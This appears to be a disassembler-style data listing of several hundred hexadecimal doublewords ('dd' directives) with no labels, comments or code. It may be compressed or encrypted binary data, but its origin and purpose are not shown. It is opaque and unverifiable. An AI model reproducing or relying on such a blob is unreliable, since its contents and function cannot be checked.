		dd 8970E6DCh, 9BB4D19Dh, 3771E409h, 0BC498434h,	5D2981F5h
		dd 116A3F2Eh, 29131423h, 1B951204h, 0BDC260EDh,	0C42E1235h
		dd 66EC0D9Dh, 0A429F787h, 0FDD3D5F1h, 166DEC35h, 0FA466F97h
		dd 4F8B7988h, 0A60F13F9h, 0C167E0D6h, 64360089h, 0DAB8F90Eh
		dd 0D85E2BC6h, 3F26BFFh, 8532062Ah, 27ECBD6Fh, 6F241C13h
		dd 5BA600F2h, 0FC4A36F7h, 815F0E57h, 4E054DD6h,	0B2D8A62Dh
		dd 459D301Bh, 6D11A702h, 8229EAB3h, 0FC19B5DCh,	0C1B15318h
		dd 7213051Ch, 91A0DAB7h, 4E48E637h, 0B8CC5D67h,	54F90072h
		dd 3B6D29EDh, 0BD588978h, 16C4941Eh, 0AA92E47Fh, 0FAA2A46h
		dd 0B649C0E2h, 637853F3h, 77BA03D7h, 0B2D9A4AEh, 777106B2h
		dd 0DE1815F1h, 5A8BAD3Ah, 9202C86Eh, 0B7D7363Ah, 0B50BA648h
		dd 0F5850D5Fh, 0E06F8556h, 893B3C00h, 0EA9825F8h, 9DEE6075h
		dd 0D6C2494Fh, 2C56D061h, 64C20282h, 0B9AAC158h, 1CCA6923h
		dd 153880Fh, 57A075E7h,	3900CA8Fh, 294E586Ah, 8230C585h
		dd 1F034079h, 0F899945Ch, 0D4991h, 0BF8E97B6h, 9F69527h
		dd 7B95F17h, 0A28898EAh, 0A600C971h, 1A5711D1h,	810AB5h
		dd 32E9CEAEh, 0BE2B047Eh, 9F04BA5Ah, 57E38A0Fh,	0D1036516h
		dd 2A1FDD16h, 2BCA97CDh, 660087F9h, 999A8A77h, 0AF730307h
		dd 19D9DD1Ah, 9DB86CD3h, 8C4F0F23h, 1381B922h, 3449BDE8h
		dd 0BE966495h, 0F6041391h, 31A83428h, 7C04F76Fh, 82C75A48h
		dd 0C3E140C6h, 3EFF2591h, 6C832E2Ah, 0F91555Bh,	1FD9728Eh
		dd 0CD672BF8h, 6377C0A4h, 1EB8C1F5h, 26C5FB9Eh,	9DB8A037h
		dd 2D78060h, 617BEA40h,	0E90A3AB6h, 3104103Dh, 6AD0B19Dh
		dd 0A161D58Ah, 497F3580h, 6B7BC054h, 17F470h, 4BAE749Fh
		dd 0FB8B8545h, 0F92599B0h, 0BE445930h, 25C7F31Fh, 0F49FA569h
		dd 379F3B2Dh, 9A5200D3h, 8BB86660h, 0E9814201h,	75E85FD9h
		dd 0F8C0D889h, 30EA0FFBh, 55AC0192h, 0CE6F9AB4h, 0BB05737Fh
		dd 0A3A638D4h, 98331CB2h, 5607F77h, 7D2C482Eh, 814F98A6h
		dd 0F92DEE14h, 92902ECEh, 0ED9F00DEh, 1A56BF12h, 60487458h
		dd 9F1D22FDh, 489E8390h, 0BA4ABC00h, 0A924BF6Ch, 33B10087h
		dd 58D444B8h, 81028F08h, 65255FDFh, 33DBDC5Bh, 54848D4Eh
		dd 828A70FAh, 404E13Ah,	85B6C161h, 0BBC1142Bh, 0A9721331h
		dd 9112110h, 0F3F2BF0Fh, 5FF073C8h, 0C44E84Ah, 67A40E1Ch
		dd 0BA6060CEh, 1D5FA5E7h, 91708266h, 12EA9899h,	0E41E2DB5h
		dd 99BE996Ah, 65E58596h, 0A331CA9Bh, 44F8F625h,	0B02C0015h
		dd 0EC9401D2h, 0C40BCEE3h, 0DFA72D4Ch, 5F5BD0C4h, 6A3E2F6Eh
		dd 89CC0E02h, 0B7822A6Bh, 92D0FEE9h, 0BB566000h, 264BE533h
		dd 1FB94B5Ah, 8D2183AFh, 0AF021C69h, 0E718F281h, 0F2FC660h
		dd 0FA897D61h, 25C03ECEh, 60B28027h, 8B175AF8h,	3A5FE58Dh
		dd 20AD4CB1h, 82ECDE2Ah, 0E1E5F38Fh, 0F5302A5Fh, 0A062DADEh
		dd 6660C04Fh, 2483C62Fh, 20F401E1h, 0D21FA11Fh,	0B75A60A0h
		dd 23002C37h, 0BF1E8898h, 9EC49766h, 42CBE600h,	31DEDFF2h
		dd 0D2B4007Bh, 1A2B305Dh, 0F3158021h, 224B5E26h, 5A109D12h
		dd 3C008254h, 64D95E15h, 5CA476Bh, 61164BE1h, 6FE13560h
		dd 0C5027117h, 5A14893Fh, 6998606Bh, 57E1A228h,	0DEAC04AAh
		dd 4F56DE16h, 1AC5F2B1h, 91CB7417h, 3F17D910h, 0D405EE7Ah
		dd 0C2CB2B9Fh, 51C41984h, 0FBF75A8Ah, 84EE5859h, 1080D501h
		dd 1B8D858Bh, 0E0D75B42h, 8233A976h, 0C9F9D71Ah, 85DF193h
		dd 36C46FAAh, 8770BB9h,	0B807E0A0h, 7076FD9Ch, 86FBDEFh
		dd 826AEBA5h, 9AE38E0Ah, 1E312508h, 6D5B0381h, 184E0CE0h
		dd 0A9C8BB56h, 8E7707h,	39D52F4Bh, 910E2CA3h, 936BA000h
		dd 647E7BCh, 0DFDAC675h, 2E82B25Bh, 0F707673h, 90E11EC1h
		dd 0A6642722h, 9B592100h, 69DFF329h, 14F13F87h,	968049DCh
		dd 0D96E8B71h, 76E49414h, 5E2EC990h, 9206F665h,	0EE7E3C7Dh
		dd 0BFE45F1Ah, 0F6BFF920h, 531FE476h, 0FC299C8Bh, 49BDC1E9h
		dd 0D41E041Fh, 25559D1Ch, 0C0F5CACFh, 0CD1B4A25h, 119CE255h
		dd 9D4045Dh, 82C4521Ah,	0DD227998h, 53358A03h, 9A737092h
		dd 19E10812h, 12A14C04h, 0AB7C2672h, 495600F6h,	531E5494h
		dd 0C11A5B48h, 9B6E38Ah, 0C02AED67h, 47B11364h,	18D3112h
		dd 0E3227BE1h, 10F480C2h, 0D65FD588h, 6AD60200h, 0B7DBA78Fh
		dd 0EA5048D1h, 0EE7AD54Ah, 233E69B2h, 122B0910h, 229D85C7h
		dd 69B8D879h, 934B8C00h, 4526539Ch, 95399072h, 0E58AA5C8h
		dd 0BDB6614Bh, 0B0E3FAE5h, 72080675h, 606107EBh, 0F27B3EE1h
		dd 0B27A502h, 8D48598Dh, 75279D01h, 1EC1BD15h, 0BF41C013h
		dd 0A46A3D63h, 20FC8958h, 0C18B0316h, 1C8F4FEBh, 8ABD200h
		dd 0ACDAC6A1h, 38D4F4A4h, 0E4B85CD2h, 3134CE03h, 27A81BF5h
		dd 0D17929B3h, 0C7DD5B03h, 0E717E62Ah, 67A1DFE7h, 9FC2A6DBh
		dd 0B4870001h, 202352DDh, 449ED938h, 129727E9h,	0D4FE64CCh
		dd 0D7F7A01h, 65B5291Ch, 5A2F0E3Ch, 46BC395Fh, 0DE8D35A6h
		dd 0F663621Fh, 0C80A6BEEh, 1C284BB8h, 13FB0844h, 2725330Ch
		dd 0C19D12D0h, 7AF577CAh, 25897B20h, 0FF9A24C5h, 8A60AA6Dh
		dd 0B8EB2073h, 15C22D76h, 4399BEFFh, 0BD02213h,	0A5269D8Dh
		dd 1193ED7Fh, 111A4211h, 608BA473h, 19D80D0h, 61557F36h
		dd 1B7C23Bh, 3EF47FDCh,	0C783DA95h, 36FF5256h, 0AD5CBC50h
		dd 85D41941h, 18162554h, 1040467Ah, 66500790h, 6064F2BAh
		dd 0EE96051h, 0E0D75BCEh, 3268F8D6h, 92AD01E7h,	0F20BD415h
		dd 0A6C32E2Eh, 1158225Ah, 44DFD2C1h, 28050D0h, 0F595752h
		dd 0EAA15331h, 4C68B58h, 2AEDF724h, 795C7260h, 387604DDh
		dd 0FC2C08FFh, 30407963h, 0F2810053h, 4BAA3A97h, 47CF8B59h
		dd 0B3E98060h, 951FB5C0h, 610D9EC6h, 0C03C8589h, 0DF00476h
		dd 0E10623EAh, 0C593BF66h, 0F081677h, 0F6238484h, 958B0459h
		dd 0B6060D1Dh, 5043825Eh, 16B88148h, 0DE2F3A8Ch, 0D2446C8h
		dd 44D3C5E3h, 17206939h, 23588CBFh, 0F8BABDFAh,	21D0E84Bh
		dd 3D9AA7D2h, 0A45C60D4h, 0F97D9180h, 7E72178Dh, 5916790Ah
		dd 6607F258h, 0F4CAF4B8h, 0C15927h, 36CC6D60h, 0A009B941h
		dd 55991C3h, 6B826101h,	8ACE90FEh, 0F680F1D7h, 8860BA56h
		dd 5F712B87h, 933F0691h, 643058D6h, 12A8B9F9h, 554254h
		dd 9988E139h, 6A98FF5Fh, 84B6849Ah, 0AF8C09DCh,	0C70210BDh
		dd 44720755h, 9D1BE212h, 78FE7503h, 0CFA7DF17h,	49409850h
		dd 4B337D60h, 8C3013B5h
		dd 0FF316124h, 4F54ED0h, 0D242CE39h, 2D106E48h,	0EB21305h
		dd 660BC348h, 37BD469Fh, 8BC80D1h, 5A1F5463h, 5601840Ch
		dd 0ECC2CEF5h, 0AC0493A7h, 111908F2h, 0C00E680Fh, 0B966CA6Fh
		dd 81FC0039h, 30EC2434h, 0E09D4060h, 810AA9A5h,	72BC5961h
		dd 0B65500BCh, 0BEB907AFh, 0EDF71538h, 8A98A13Ah, 8B5142D9h
		dd 0B8772D92h, 0EEC40160h, 0BA4BEBB2h, 39B72062h, 0A410B2A2h
		dd 0ACA1FB8Bh, 0A419FA21h, 8BF86010h, 15B18D1Ah, 568B31CDh
		dd 4071A030h, 4002682Bh, 8B85BF10h, 7989A0CFh, 0CD51A07Dh
		dd 4A37A944h, 0EAB64A43h, 0DD752EA0h, 7A31A01h,	0FDA90AEDh
		dd 1C0BAA96h, 64AB3491h, 6FA116A6h, 0EE5FCCh, 0FAE707Bh
		dd 175AADEAh, 4410330Bh, 809E8826h, 0C8684EEDh,	0B90A5181h
		dd 9B022A90h, 24CC6CC4h, 5700083h, 0B56050DBh, 0FB916180h
		dd 0FCC18E27h, 4457AF3Eh, 54D01CCEh, 0C3807D0Ah, 525E59D1h
		dd 5A285B51h, 3A906561h, 0B47810BDh, 35BF0003h,	0C6C11A4Bh
		dd 0FD0C2015h, 0D48FFB44h, 0D48A2631h, 92D6383Dh, 365992F0h
		dd 0F31C3400h, 0EA7025E0h, 0FEC00BBAh, 0CCF750B7h, 0FC54BF60h
		dd 71BD3340h, 2D56BF03h, 0A23E18CAh, 0B6D04A16h, 0F5A3E086h
		dd 0EA550A01h, 16D53DB1h, 30235340h, 9D1F4DE1h,	116E9300h
		dd 0F0106856h, 0BDBB12D1h, 5C8C0204h, 5E121816h, 5C899F50h
		dd 95D9278Dh, 1E291B16h, 0D70C60D2h, 0FFBB149Ah, 0E9C1FB71h
		dd 3B8C1529h, 756B78Ch,	9ACA262Eh, 70A75159h, 3108DC7Ch
		dd 8F017D79h, 48635C1Ch, 1461F88Bh, 5568A361h, 16FD2A80h
		dd 0CA004B85h, 84546A8Dh, 3987F8CBh, 0EB1625D6h, 3C55304Fh
		dd 36070766h, 0E97CE55Ah, 58599503h, 0BD60856h,	5C1D0EEh
		dd 0C24C21F7h, 40070B79h, 21F06897h, 9104C7B7h,	0FCB90010h
		dd 581762DFh, 41D379Fh,	0C11DA68Dh, 0E4F8B7CEh,	952A31E2h
		dd 1EAAB671h, 16F11F79h, 0A6BAE819h, 9A2D3693h,	95476872h
		dd 523042F9h, 2F092601h, 617D341Ah, 3D398DBBh, 7B88681Eh
		dd 0D1A60BBDh, 0D7FDBC7Eh, 0E41AA612h, 5A5F47BFh, 2A98698Ch
		dd 400757C7h, 0BD09701Bh, 610017B4h, 0C46A6D68h, 9B7598B7h
		dd 4831008Dh, 4FA3A2F9h, 0EA1D2DA1h, 794063C3h,	592FC228h
		dd 24040081h, 463C9593h, 66B58F0Fh, 0C0D36B78h,	95ECE0D5h
		dd 0BFF79815h, 4ADC34DEh, 809F60D2h, 683AB082h,	0F7B200BAh
		dd 50423107h, 2C5CBF35h, 7AF28041h, 4C224528h, 711D380h
		dd 449AF09Ch, 5CE51219h, 0C506DC82h, 0C448B614h, 1AD54B60h
		dd 37B74C0Dh, 37996A81h, 0C971EFBFh, 3B9168F8h,	0B61567AFh
		dd 6F02BD4Eh, 0E9579950h, 22E75F80h, 0F93F2342h, 46BA02BBh
		dd 581D2F8Ch, 76B1090Dh, 5A760B6Ah, 0C06B5CDCh,	32B00522h
		dd 0E642E912h, 8215A2F0h, 50198F85h, 5D2EBAA8h,	339096CEh
		dd 0A3F8C62Bh, 6F30437Dh, 4912CED2h, 0C6995188h, 43316831h
		dd 263104A6h, 0AC08352Fh, 194B80ECh, 3034FE84h,	662042C4h
		dd 0E1A45B8h, 0FC769061h, 2D3BA841h, 4E3D010Dh,	6BDB0B02h
		dd 8D63484Ch, 0DF2360B5h, 0A545EBBAh, 0B4D796EEh, 0C05AC6F2h
		dd 5961AACDh, 0C1C05B02h, 0F73497ACh, 0BB170259h, 166BDF01h
		dd 0D92D9661h, 8600BAB8h, 83258570h, 9C2F926Fh,	0AFB30012h
		dd 364DB950h, 0C794FB5Ah, 5EC0269Bh, 0BFAB359Fh, 0EB902D78h
		dd 2B5ACE02h, 900FB9BDh, 0BE0BCDB2h, 0B624F4DCh, 84160F66h
		dd 91B2F621h, 809FB17Ch, 0C12607D6h, 0A00965Ah,	9820CA24h
		dd 176F7E1Fh, 0BFC00B5Fh, 9CF968C8h, 0C7E96243h, 0D1BF1D48h
		dd 7F7D5117h, 0A79B0C17h, 0D2C80B80h, 1009D709h, 90B58B29h
		dd 2BDB92Bh, 8D6EB0E4h,	3612046h, 424F2A1h, 282F6EBAh
		dd 0D62CBA78h, 560A150h, 0A2D3E95h, 88256831h, 885327F0h
		dd 5F41BE78h, 9624BAF1h, 5C25E813h, 0E6011A6Fh,	4FD94B22h
		dd 0F15A8807h, 22D4221Ch, 9173A84h, 91B44595h, 878B09BAh
		dd 66A9F0E9h, 0B27096DBh, 0A4EE00DEh, 0E6C86F19h, 8100FD89h
		dd 4AACFFD1h, 707E805Ch, 0BB88CD20h, 58DB2B6Ah,	8D89BFC2h
		dd 602924D5h, 8EB884ADh, 53092F4Fh, 0A9FA62B9h,	0DCEED41Fh
		dd 0EC2227BDh, 0E60A88F0h, 0E24490FBh, 31898102h, 133D79D5h
		dd 0CEDE4885h, 7866BC0h, 224AE916h, 0B9666E07h,	0F6401362h
		dd 89C00539h, 87C8F8EFh, 2E807815h, 9F05DDh, 92163012h
		dd 0C2979A10h, 0A013147Bh, 220861DFh, 0E3ED800Bh, 7F8777D9h
		dd 8D6F001h, 810FC9CDh,	0A0A0917h, 8CCD2F81h, 26B26BC0h
		dd 95290846h, 1A2F2391h, 60A7503Ch, 1DD1406Ah, 0C1B70994h
		dd 6610FAECh, 405876BFh, 5DBBC0C3h, 48B787FFh, 0BBA5A8DDh
		dd 7825AF6Ah, 0B13A7ECh, 50E4F5B5h, 0BEE90380h,	0F960D88Bh
		dd 0D382B4C5h, 0DBBF0F1Eh, 7D79C26Dh, 1B7C5F8Bh, 2ADCBDF4h
		dd 0D2F98B49h, 17E91657h, 0E89AE905h, 61AB0007h, 0D0F86E08h
		dd 384B80BAh, 50D99909h, 0E3ADADC3h, 0B89CAD1Eh, 0D4BA87B3h
		dd 480EB211h, 48F8A758h, 4BDF853Bh, 71987082h, 0AF6522D7h
		dd 0A2095C94h, 0F601FE62h, 560CB001h, 0F2713F3Dh, 0EA2F5699h
		dd 0F1172EB3h, 8805156Eh, 0E81E4Ah, 3C7ABB75h, 510049ADh
		dd 433527C0h, 13FA94E7h, 81B18531h, 6F405A38h, 3C00686Eh
		dd 902A2E92h, 5F012F75h, 0B5316BA7h, 83000191h,	7E9C50BDh
		dd 0ECF58443h, 0C8D7EADEh, 0B91E6AD9h, 0E4677C7Bh, 3F140439h
		dd 0E319E20Eh, 0A6ECD6C8h, 9534B580h, 19058CD7h, 903B86C7h
		dd 39C33D80h, 6E3FED50h, 0B37600DDh, 0A0857D45h, 80D4B15Fh
		dd 92A877E4h, 0D12DB342h, 0FCCB0234h, 1765531h,	159D0141h
		dd 0E20305FEh, 0B7FA5057h, 5B51F613h, 0DDAC8913h, 0DB4A3949h
		dd 0A6D28544h, 52C9DDC2h, 0DB044F89h, 0EC32814Dh, 60DA20C1h
		dd 5F5FCE32h, 0CD33BE50h, 0F3AB4FCFh, 9385494Ch, 4F27BA6Fh
		dd 636324E2h, 795809F4h, 5760038Ah, 49D04BE3h, 2800A7D6h
		dd 4704CAD0h, 12E50B9Dh, 439FE03h, 90FFD82h, 0DD8E925Fh
		dd 80D4208Bh, 0EE4D50DEh, 0AE3A05DAh, 0BD028FE9h, 121E8B1h
		dd 8902519Bh, 7E26959Dh, 0AF4CBBB9h, 187FE0Fh, 17A4218Bh
		dd 0C7AA9B58h, 0DA006866h, 1325843Eh, 0E23F282Ch, 0AD0F0092h
		dd 238B746Ah, 60250410h, 0B236E314h, 51AE00E2h,	70C773BFh
		dd 0B077005Ch, 2D798CB7h, 594A0172h, 0C9ED7C81h, 0E360425h
		dd 0F63480F0h, 4577D704h, 89844009h, 0F41EC6C2h, 1B28DC87h
		dd 0D16BD585h, 0DDA3EAF4h, 395A2D99h, 5AB96A3Ah, 19A502CBh
		dd 8D2B0212h, 89E1AFF5h, 0DCC776D8h, 90FC1030h,	122C3CE7h
		dd 27E9B258h, 0B9878849h, 32079548h, 0A34FD4EBh, 2DDA587Fh
		dd 6682F781h, 5E86050h,	2AB3A12Fh, 0F3C4BE63h, 40331356h
		dd 0D9C2945Eh, 0B48E0498h, 0FDF88B2Ah, 0B0572B5Ah, 0B3A9F6C4h
		dd 95D470BDh, 4DA7B5B6h, 1A5AC30Fh, 71F1308Fh, 0B5270EECh
		dd 5D112438h, 0E583F39Fh, 0FC0BCA8Ah, 4E162DBDh, 66014420h
		dd 0ABD9BF05h, 30F98AE9h, 0DB06A6ECh, 0DF7A34A4h, 63431254h
		dd 81739B61h, 0EFDD214h, 0D90D883Fh, 7C304C38h,	0DDA73100h
		dd 81C1F284h, 0CB1C6EC6h, 130FCAC0h, 0E9122F17h, 0C3ADF891h
		dd 0A502C9E8h, 61858901h, 0CE89562Bh, 70908009h, 5017E07Bh
		dd 2890FCB6h, 3C570BBFh, 0AED43D78h, 36C65F9Ah,	56240458h
		dd 9A27555Fh, 0B71D7A1Bh, 5D029446h, 991D343Dh,	289A5640h
		dd 0BDBD7628h, 49D0144h, 0FF0934C4h, 4695F1C4h,	0C89A27Bh
		dd 9264B860h, 0C21275Eh
		dd 5001A73h, 80F83E66h,	0C20D001Dh, 0B07645E2h,	8124A33Ch
		dd 0F62208Bh, 89548386h, 0AAA1FD95h, 0AB8EC46Eh, 0C5CB74A9h
		dd 0A79F7D00h, 1A0E332Bh, 0C0218799h, 0D23DDBA5h, 0DDAF122Ch
		dd 0F5D6491Ch, 0BA805379h, 74E91181h, 18E4BD90h, 87E54700h
		dd 0C7A55F7Dh, 622F0702h, 0BE048AA1h, 43E616B3h, 5F59D144h
		dd 46B90C05h, 0C38C9057h, 4DDE0083h, 38202A1Eh,	0F10E0179h
		dd 0A0DF5B4Eh, 0E134611Fh, 97B27A8Dh, 0EE4A70B2h, 0F78B4B40h
		dd 8762B909h, 20369AF6h, 7ED11D53h, 0AC181D29h,	7B2F80FCh
		dd 0D37CA7DAh, 6EAAD709h, 3D10401h, 7106BC13h, 0FF250841h
		dd 3E8BD7F8h, 59A723C0h, 5C5EB9C2h, 0C81AE5F4h,	0CB8AE28Ch
		dd 9F70C753h, 0A66B4B7Ch, 0D08B1ABBh, 702853A8h, 0C048DA3Ah
		dd 0F9252541h, 5FB5A70Eh, 8C26B04h, 2746F087h, 0C608B592h
		dd 0F77712FCh, 0E82B0CBh, 0BD8B088Fh, 0BA012FB1h, 0B996CFAh
		dd 4D36493h, 40A4936h, 604B75E9h, 4441C6F7h, 14A6A35h
		dd 0FE2B98AAh, 0C4177822h, 0F1C454Eh, 0EFC1A18Bh, 3C93680Ch
		dd 23D8C704h, 0DD25702h, 3C28F654h, 32E91A80h, 28AA2AE1h
		dd 3012DF97h, 6EE3A9C5h, 949E3F42h, 29260E13h, 6A508C57h
		dd 5668057Ch, 6102126Eh, 8EE0C1C3h, 1130008Bh, 0DDEA81F0h
		dd 0C2838583h, 21F10414h, 0F97F1E1Dh, 2A5C5CC2h, 0E6F50B18h
		dd 4A5EBF4Fh, 503E865h,	2DC22B58h, 6860F01Ah, 4D2D3881h
		dd 0A077C65Ah, 0E3C50EFh, 3A81D003h, 7E1945CDh,	2D2F3AEDh
		dd 0E9E583DFh, 314C72D9h, 0B5FEC88Bh, 40030023h, 0F14FDD3Ch
		dd 32671C2h, 12ACCF8Bh,	53440F5h, 1C5BF86Ch, 0D103310Ch
		dd 0BD15C920h, 1208B14Dh, 0FA051045h, 0E98448F2h, 8B514413h
		dd 81104A80h, 14B051A9h, 3359B582h, 0DBFDC3C0h,	0FD2494C8h
		dd 3B6847B1h, 0E4FD0551h, 868BA8AAh, 4AEB2AB5h,	4BD620D3h
		dd 659F46FCh, 0C080018Ah, 3E8B5F73h, 0F6D75E0Eh, 0CFB85747h
		dd 50C93300h, 8B580EF5h, 0D9610F14h, 0D008F281h, 6002798Eh
		dd 32C8E2BBh, 3AC619h, 5B543FBAh, 3A33CB7Dh, 7FBFED03h
		dd 0C81F4BF8h, 18F2495h, 8161DA31h, 0C48EDFC2h,	0FC59606Ch
		dd 0ECBAC399h, 0F22602C0h, 0A236214h, 89C1EB83h, 10F98E25h
		dd 7CB64Eh, 0B0802F50h,	0E9835E2Ch, 0F9490238h,	81A9D302h
		dd 428CB4F9h, 943A8418h, 0C58A1E90h, 1AA0079Dh,	400A1596h
		dd 606A3DE4h, 85632500h, 8D39B847h, 2908CC57h, 68244C21h
		dd 950F3825h, 6DFE02Fh,	0F00FFB55h, 6B3E005Ah, 0CAC8E626h
		dd 1400673Bh, 6D280E44h, 73278B07h, 0F6E49Eh, 0E4183E2Dh
		dd 329F058Ah, 38045A30h, 1255E3Dh, 0DB836094h, 800E453Fh
		dd 2281B678h, 0E0C29DCh, 0EF6F5291h, 0FA04E6C0h, 0B00C9C64h
		dd 20EEF689h, 2C68051Ah, 383C6F7Ah, 0EE467E20h,	680A970Fh
		dd 808430CAh, 91DF745Dh, 0F60C5EB6h, 84EBED8h, 7B21C02Bh
		dd 1FFDDF7Ch, 3139F800h, 69ADC5Fh, 0D79E01C8h, 0EA91B6CCh
		dd 97708CE3h, 8C6B6027h, 90DF7704h, 2C6256B6h, 0DF7F7C20h
		dd 0A6EA17h, 1DAAE68Ch,	223BC82Fh, 3DEF3A07h, 6AF7340Ah
		dd 0CC1E1F85h, 0F093FA00h, 0C839569h, 9B9D0E59h, 21DE2608h
		dd 40F08B80h, 51826315h, 8C01B83Ch, 1300E1EEh, 81C73D5Bh
		dd 382D1815h, 308B1042h, 62112561h, 35884F85h, 25694180h
		dd 0C0CB5Bh, 0C3CD8F02h, 0F8A1BA6Eh, 9105C0C1h,	20210Eh
		dd 5933600Ch, 0A25E62F0h, 0B0BE1200h, 0F57B4A28h, 1B0D0C9Dh
		dd 5F99D5B2h, 29B32D00h, 0F5CC515Dh, 277B7Ch, 0B9D25CF0h
		dd 25E7089Ch, 52F11B60h, 0F45D04h, 74B109AFh, 2FF0C63h
		dd 8F3470C3h, 0B5292828h, 917E30h, 6D84B6A6h, 706F4C6h
		dd 0B4F6A500h, 5EE74DF5h, 3096FC1Bh, 8AC02F52h,	0B2607B3Dh
		dd 78C41A49h, 6F6401CBh, 67166E61h, 0DF089879h,	60A521h
		dd 0F432BFCBh, 15AEFF45h, 0EC9C3A54h, 0D652300h, 131F8AE3h
		dd 0C0724B57h, 4C44D442h, 0D9981206h, 313D16h, 604634E1h
		dd 0A777C93Ah, 3905F39h, 0ED9B8732h, 0ACB2D093h, 0A878D935h
		dd 864187Fh, 816F60CBh,	9941DAC4h, 0D48DCB6Ch, 2201F6F5h
		dd 0BE85D429h, 0F88233C6h, 213DBA6Fh, 0B57DE881h, 0C63987D8h
		dd 1650FB8Bh, 2A6009A4h, 0A7B8370Ch, 602744B0h,	1DAA9621h
		dd 5D2A6A32h, 67A24992h, 0CE8930A1h, 215C21E0h,	602F53Ch
		dd 26F4668h, 0B69CDF73h, 10223176h, 0DF7B70h, 0B84811E1h
		dd 0FC7A66CBh, 85A45B02h, 4857A286h, 800FDB54h,	4250C5BDh
		dd 11417180h, 30899042h, 64102563h, 4FE05F85h, 0CC00256Bh
		dd 78CF6F11h, 24F780DAh, 1A503247h, 6417698Fh, 73802511h
		dd 3ECC06B1h, 3D491560h, 1EE25DCh, 6F27C52Ch, 941041C2h
		dd 109C77B8h, 6A883642h, 9FDF72C0h, 224E46B6h, 7A7D0029h
		dd 91C82EDFh, 0C4A0E66Eh, 3C48D4B2h, 0C07C8838h, 6F61CB63h
		dd 0E08C8948h, 0CB6BA6h, 78D3445h, 0B1B6E0BEh, 58EF4230h
		dd 5873138h, 0F65A92EAh, 6C58083Dh, 9DDF70C0h, 0D87E4CB6h
		dd 0DF787FE0h, 0AB584103h, 533B30B2h, 0C9A2E0A8h, 0A8439F33h
		dd 50987751h, 4222A406h, 16D2304h, 0B69EDF75h, 88381846h
		dd 0DF007D7Eh, 0CA8F9610h, 0CB17FCBh, 0C930FE6h, 8D009B20h
		dd 859DE3E8h, 99506E96h, 8078113Ch, 6F65CB67h, 13F58C69h
		dd 5A60EFA2h, 24BEB6h, 4B990BD1h, 0CE63295h, 1015B8C5h
		dd 0ED3DC882h, 0AE14E108h, 0EA67D06Fh, 0BB11E503h, 0ED9B3F6h
		dd 0E08D7B81h, 259E01A1h, 5DB9A62Dh, 7640B303h,	0A8F2DB9Bh
		dd 4E1541Dh, 82AEC628h,	8140804Ah, 490DB8Ah, 6F467898h
		dd 70F09A02h, 2B318B95h, 0F0925C10h, 0FC58D500h, 9580AC70h
		dd 0DA22386Ch, 6D88A0D8h, 72F09CC0h, 229B4695h,	945A0022h
		dd 49997F0h, 78BA5F95h,	0F89B6140h, 15200A57h, 44A416BCh
		dd 25676095h, 7F852378h, 4B283111h, 1ACEE2A0h, 59425B12h
		dd 0D96E8002h, 9E307464h, 22B9190Ah, 88B280CEh,	9683A6Bh
		dd 0EE5082B3h, 18711132h, 7ECB0962h, 141C916Fh,	3F6A9B3Bh
		dd 8156895Fh, 0B8EC10AAh, 3CA5843Ah, 0CE63DDC4h, 0E409A0C0h
		dd 297DAE01h, 393A2B1Dh, 0A8A27042h, 2DEC8F0h, 0BF8AB5A3h
		dd 0E4C4B3DBh, 12301100h, 7445D0DCh, 132B0058h,	0DAF39BBCh
		dd 0B3028ACCh, 629E856Fh, 6D00A35h, 88D54AB1h, 805CB548h
		dd 232438C6h, 22530868h, 8D0CD876h, 4226B872h, 36B23EEh
		dd 9574F09Eh, 4C8EDCh, 0FEF09658h, 2B98690h, 4B7885ACh
		dd 2CC01B9Ah, 7800AB1h,	2F1F4A88h, 38231Ch, 879601F5h
		dd 2E035DB9h, 1DCAE70Ch, 90581806h, 0E0B58919h,	0DD6CE9C0h
		dd 4A1DD2h, 22C32A28h, 0D4F8611Bh, 974E7309h, 16CD8624h
		dd 44800039h, 277FF7E3h, 80A70115h, 98602844h, 0C83EACB4h
		dd 0F4EAA6B9h, 621FE981h, 0D0F054E2h, 0C686046Bh, 0A655343Dh
		dd 0B6F5E0D0h, 6D38010Dh, 0D6A6D7F7h, 0E2A0332Fh, 159E30DFh
		dd 8FD4D101h, 0F689B64Dh, 67B832DBh, 65307A50h,	6F6311CBh
		dd 80D38879h, 97CB6DA4h, 0AAEEC181h, 0F20FECB0h, 67345769h
		dd 0DA462C8h, 0C072F8A1h, 163030F2h, 0BC7901E7h, 0E15501B4h
		dd 2100D3B7h, 460E6397h, 0B9DD9557h, 182AD134h,	73712F9h
		dd 6F942090h, 126075AAh, 0A592D5B0h, 0E2854C39h, 1DB85228h
		dd 2EA1AA63h, 31467C98h, 0F1D3E16h, 50907A58h, 0EF41FE1Ch
		dd 0DE98C8ACh, 555BC000h, 48B6608Bh, 0D1989916h, 818D0h
		dd 0AF491C1Dh, 0BEA0BA30h
		dd 0B8056C05h, 11822AA6h, 0EF88ED18h, 0DEC4B0E0h, 0B624C5E2h
		dd 6011B430h, 73F09D80h, 458C9395h, 0F0513021h,	78505A16h
		dd 0E1415001h, 88A8D47h, 8DB003BDh, 0FF311825h,	878D6DE0h
		dd 4E885755h, 0C0D0886Ch, 743C7198h, 0B34BA700h, 5684F6B7h
		dd 0B0624DB1h, 82329709h, 319ED841h, 14CCDBC4h,	0A6E92114h
		dd 32465CA0h, 9F539B00h, 910D277Ah, 58DF39E8h, 97AC0D7Ch
		dd 0C80ED92Ch, 0B6C0C888h, 0EE85EF2Ah, 0ED58A81Eh, 36C4870Eh
		dd 0AE31A760h, 8C948802h, 89A01D2Ch, 5C7B0888h,	30975832h
		dd 663F2565h, 3C22C685h, 256D4D00h, 6EE61133h, 9C0E5C7Fh
		dd 8C27E8h, 0F3C03CEAh,	7BF4E5F7h, 0F0C4917Ch, 92221DDDh
		dd 39256430h, 4C528567h, 256C4880h, 0BD14FC77h,	0B820276Eh
		dd 5B3F8C3Fh, 0BE1201EDh, 31F378CCh, 383595D9h,	8421FAE8h
		dd 0F1299121h, 0E9951829h, 0E5E270h, 0AE4612CBh, 169F6D02h
		dd 80804C99h, 8B6BBDB1h, 1C21016Eh, 92BF3FADh, 0BAB7E83Eh
		dd 16AA2639h, 106F2585h, 543BC5Eh, 0F92C7EF3h, 2909C709h
		dd 0E45C4560h, 0E56960DCh, 188B121Eh, 0F75C08CFh, 0AA6B902h
		dd 679C8036h, 347EC10Eh, 8EB84F02h, 0C0DF8888h,	8FE55428h
		dd 0B1D7C931h, 0C050FA0Fh, 0FAAF4BEh, 34629477h, 0C83C8B13h
		dd 0FC2CC026h, 0D2289972h, 0F620FC9Dh, 0C8863D57h, 15E43505h
		dd 16D44004h, 583B8D9Bh, 93028D98h, 2E2A94B1h, 66406137h
